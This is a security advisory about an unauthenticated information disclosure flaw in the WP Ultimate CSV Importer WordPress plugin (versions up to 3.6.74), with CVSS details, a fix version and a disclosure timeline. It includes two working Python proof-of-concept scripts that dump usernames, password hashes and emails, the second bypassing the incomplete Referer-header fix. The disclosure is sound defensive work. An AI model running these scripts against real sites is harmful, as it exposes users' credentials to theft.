WP Ultimate CSV Importer <=3.6.74, Information Disclosure

Due to lack of verification of a visitors permissions, it is possible to execute the ‘export.php’ script included in the default installation of this plugin, and retrieve the full contents of the user table in the WordPress installation. This results in full disclosure of usernames, hashed passwords and email addresses for all users. After update 3.6.74, a change to the ‘export.php’ script was made, which required a REFERER header to be passed through in the request. After this header is added (as in the second PoC), the behaviour is exactly the same, resulting in full disclosure of usernames, hashed passwords and email addresses for all users.

Homepage

https://wordpress.org/plugins/wp-ultimate-csv-importer/

CVSS Score

5

CSSS Vector

(AV:N/AC:L/Au:N/C:P/I:N/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 3.6.75.

Proof of Concept

3.6.73

import requests

url = 'http://localhost/wp-content/plugins/wp-ultimate-csv-importer/modules/export/templates/export.php'
payload = {
        "export":"users"
}
r = requests.post(url, data=payload)
for line in r.text.split("rn"):
        line_split = line.split(",")
        if len(line_split)>1:
                print "%s %s %s"%(line_split[1],line_split[2],line_split[4])

3.6.74

import requests

url = 'http://localhost/wp-content/plugins/wp-ultimate-csv-importer/modules/export/templates/export.php'
payload = {
        "export":"users"
}
headers = {
        "Referer":"---"
}
r = requests.post(url, data=payload, headers=headers)
for line in r.text.split("rn"):
        line_split = line.split(",")
        if len(line_split)>1:
                print "%s %s %s"%(line_split[1],line_split[2],line_split[4])

Timeline

  • 2015-01-06: Discovered
  • 2015-01-07: Vendor notified
  • 2015-01-08: Version 3.6.74 released – issue still present after small modification to PoC
  • 2015-01-12: Version 3.6.75 released – issue resolved
  • 2015-01-15: CVE Requested
  • 2015-02-02: Advisory released